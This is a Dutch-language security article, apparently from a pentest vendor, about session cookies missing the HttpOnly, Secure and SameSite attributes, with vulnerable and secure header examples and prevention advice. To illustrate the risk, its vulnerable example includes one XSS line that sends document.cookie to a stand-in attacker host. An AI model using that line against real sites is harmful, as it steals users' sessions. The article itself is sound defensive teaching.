Direct naar inhoud

Onbeschermd authenticatiecookie

CWE-1004CWE-614CWE-1275OWASP A07:2021Bijgewerkt 3 september 20264 min leestijd

Drie attributen bepalen hoe goed een sessiecookie beschermd is. HttpOnly houdt de waarde buiten bereik van JavaScript, Secure voorkomt verzending over een onversleutelde verbinding en SameSite beperkt wanneer de cookie wordt meegestuurd. Ontbreekt er één, dan is er een concrete aanvalsweg die anders gesloten was gebleven.

Een sessiecookie draagt hetzelfde gewicht als een wachtwoord, maar wordt bij elk verzoek automatisch meegestuurd. Hoe goed die waarde beschermd is, hangt af van drie korte attributen achter de Set-Cookie-header. Hieronder leest u wat elk attribuut precies afdekt, welke aanval openblijft als er één ontbreekt, en waarom ze alle drie nodig zijn.

Wat is een onbeschermd authenticatiecookie?

Een onbeschermd authenticatiecookie is een cookie die de sessie van een gebruiker draagt, maar waarbij één of meer van de beschermende attributen ontbreekt. Elk attribuut sluit een andere weg af, en ze zijn geen van alle vervangbaar door de andere twee.

HttpOnly maakt de cookie onzichtbaar voor JavaScript in de pagina. Zonder dat attribuut kan scriptcode document.cookie uitlezen, en daarmee wordt elke cross-site-scriptingkwetsbaarheid direct een sessiediefstal. Secure verbiedt de browser de cookie over een onversleutelde verbinding te versturen; ontbreekt het, dan volstaat één verzoek naar een http://-adres om de waarde in leesbare vorm over het netwerk te sturen. SameSite bepaalt of de cookie wordt meegestuurd bij verzoeken die vanaf een andere site vertrekken, en is daarmee de basislaag tegen cross-site request forgery.

Vergelijk het met een kluis die drie sloten heeft: één tegen de sleutel die van binnenuit wordt gekopieerd, één tegen afluisteren van het transport en één tegen bediening op afstand door een vreemde. Twee sloten dicht en één open betekent niet twee derde beveiliging; het betekent dat er een deur openstaat.

Hoe wordt een onbeschermd sessiecookie misbruikt?

Kwetsbaar:

HTTP/1.1 200 OK
Set-Cookie: sid=8f42c19ade7b3f5c; Path=/

Geen enkel beschermend attribuut. Drie verschillende aanvallen worden hierdoor mogelijk. Zonder HttpOnly volstaat één geïnjecteerd script:

// Via een XSS-kwetsbaarheid in de pagina beland
new Image().src = 'https://kwaadaardig.example/x?c=' + document.cookie;

Zonder Secure gaat de cookie mee zodra er een onversleuteld verzoek naar hetzelfde domein vertrekt: een oude bladwijzer, een afbeelding met een http://-adres of een handmatig ingetypt adres is genoeg, en een aanvaller op hetzelfde netwerk leest de waarde rechtstreeks mee. Daarnaast zonder SameSite stuurt de browser de cookie ook mee bij een verzoek dat vanaf de site van een aanvaller wordt afgevuurd, waarmee CSRF-aanvallen op statewijzigende endpoints binnen bereik komen.

Veilig:

HTTP/1.1 200 OK
Set-Cookie: __Host-sid=8f42c19ade7b3f5c; HttpOnly; Secure; SameSite=Strict; Path=/
res.cookie('__Host-sid', sessieId, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  path: '/',
  maxAge: 30 * 60 * 1000,
});

Alle drie de wegen zijn nu afgesloten. Geïnjecteerde scriptcode kan de waarde niet lezen, de browser weigert de cookie over HTTP te versturen en verzoeken vanaf een vreemde site dragen hem niet. De __Host--prefix voegt daar een garantie aan toe die vaak wordt vergeten: de browser accepteert een cookie met die naam alleen wanneer hij Secure is, geen Domain-attribuut heeft en op pad / staat. Daarmee kan een gecompromitteerd subdomein de sessiecookie van het hoofddomein niet overschrijven.

Let op het Domain-attribuut. Zet u de cookie op Domain=.bedrijf.nl, dan is hij bereikbaar vanaf élk subdomein, inclusief een testomgeving, een marketingpagina of een systeem van een leverancier. Eén zwakke plek daar volstaat dan om bij de sessies van de hoofdapplicatie te komen. Laat het attribuut weg als u het niet nodig hebt.

Wat is de impact van een onbeschermd sessiecookie?

De bevinding wordt doorgaans als middelzwaar beoordeeld, maar de werkelijke betekenis hangt af van welk attribuut ontbreekt en wat er verder in de applicatie speelt.

Ontbreekt HttpOnly, dan verandert de uitkomst van elke cross-site-scriptingkwetsbaarheid: in plaats van scriptuitvoering binnen één sessie levert het de aanvaller een token op waarmee hij vanaf zijn eigen machine, op een zelfgekozen moment, het account kan overnemen. Ontbreekt Secure, dan is één onversleuteld verzoek genoeg om de sessie op een openbaar netwerk prijs te geven. Ontbreekt SameSite, dan staat de deur open voor het afdwingen van handelingen vanaf een vreemde site.

Opvallend is dat de oplossing vrijwel niets kost. Het gaat om drie woorden in de configuratie van uw sessiebeheer. Juist die verhouding maakt dat het ontbreken ervan bij een audit zwaar weegt: het is een maatregel zonder noemenswaardige nadelen die eenvoudigweg niet is genomen.

Hoe spoor je een onbeschermd sessiecookie op?

De basiscontrole is het opvragen van een inlogantwoord en het bekijken van de Set-Cookie-headers. Dat is snel gedaan, maar de nuance zit in de details die daarbij vaak worden overgeslagen.

Een tester controleert of de attributen op álle cookies staan die authenticatie dragen, en niet alleen op de bekendste. Applicaties zetten vaak meerdere cookies (een sessie, een CSRF-token, een voorkeur voor tweefactorauthenticatie) en de bescherming is soms alleen op de eerste toegepast. Verder wordt gekeken of de attributen ook bij het vernieuwen van de sessie behouden blijven, of er een te ruim Domain-attribuut is gezet en of de cookie bij het uitloggen met dezelfde attributen wordt verwijderd. Ook de SameSite-waarde krijgt aandacht: Lax is de browserstandaard geworden, maar dekt niet alles af. AssistSec beoordeelt deze attributen in samenhang met de rest van de applicatie, omdat het ontbreken van HttpOnly pas echt zwaar weegt wanneer er ook een injectiepunt bestaat, en die combinatie is precies wat een penetratietest zichtbaar maakt.

Hoe voorkom je een onbeschermd sessiecookie?

  • Zet HttpOnly, Secure en SameSite op elk cookie dat authenticatie of autorisatie draagt.
  • Gebruik SameSite=Strict waar dat functioneel kan, en Lax als gebruikers vanaf externe links moeten binnenkomen.
  • Geef sessiecookies de __Host--prefix, zodat subdomeinen ze niet kunnen overschrijven.
  • Laat het Domain-attribuut weg tenzij u de cookie aantoonbaar op meerdere subdomeinen nodig hebt.
  • Regel de attributen centraal in de sessieconfiguratie, niet per endpoint, zodat nieuwe routes ze automatisch krijgen.
  • Combineer Secure met HSTS, zodat er sowieso geen onversleutelde verbinding met uw domein tot stand komt.
  • Verwijder de cookie bij het uitloggen met exact dezelfde attributen als waarmee hij is gezet.
  • Controleer na elke wijziging aan de authenticatiestroom of de attributen nog op alle cookies staan.

Bronnen

Veelgestelde vragen

Beschermt HttpOnly volledig tegen XSS?

Nee, het beperkt alleen één gevolg. Met HttpOnly kan geïnjecteerde JavaScript de cookie niet uitlezen, maar hij kan nog steeds verzoeken uitvoeren namens de gebruiker; de browser stuurt de cookie daarbij gewoon mee. Het is schadebeperking, geen oplossing voor de injectie zelf.

Wat is het verschil tussen Secure en HSTS?

Secure is een eigenschap van de cookie: de browser verstuurt hem niet over HTTP. HSTS is een eigenschap van het domein: de browser legt er sowieso geen onversleutelde verbinding meer mee. Ze overlappen deels, en juist daarom vullen ze elkaar goed aan.

Waarom is de __Host- prefix nuttig?

Een cookie met die naamprefix wordt door de browser alleen geaccepteerd als hij Secure is, geen Domain-attribuut heeft en op pad slash staat. Daarmee kan een subdomein de cookie niet overschrijven, wat een bekende omweg is bij organisaties met veel subdomeinen.

Moet elk cookie deze attributen krijgen?

Voor cookies die authenticatie of autorisatie dragen: ja, zonder uitzondering. Voor puur functionele cookies, zoals een taalvoorkeur, zijn Secure en SameSite nog steeds verstandig, maar is HttpOnly niet altijd mogelijk omdat de frontend de waarde soms zelf moet lezen.

Verwante artikelen

Druk op / om te zoeken · Esc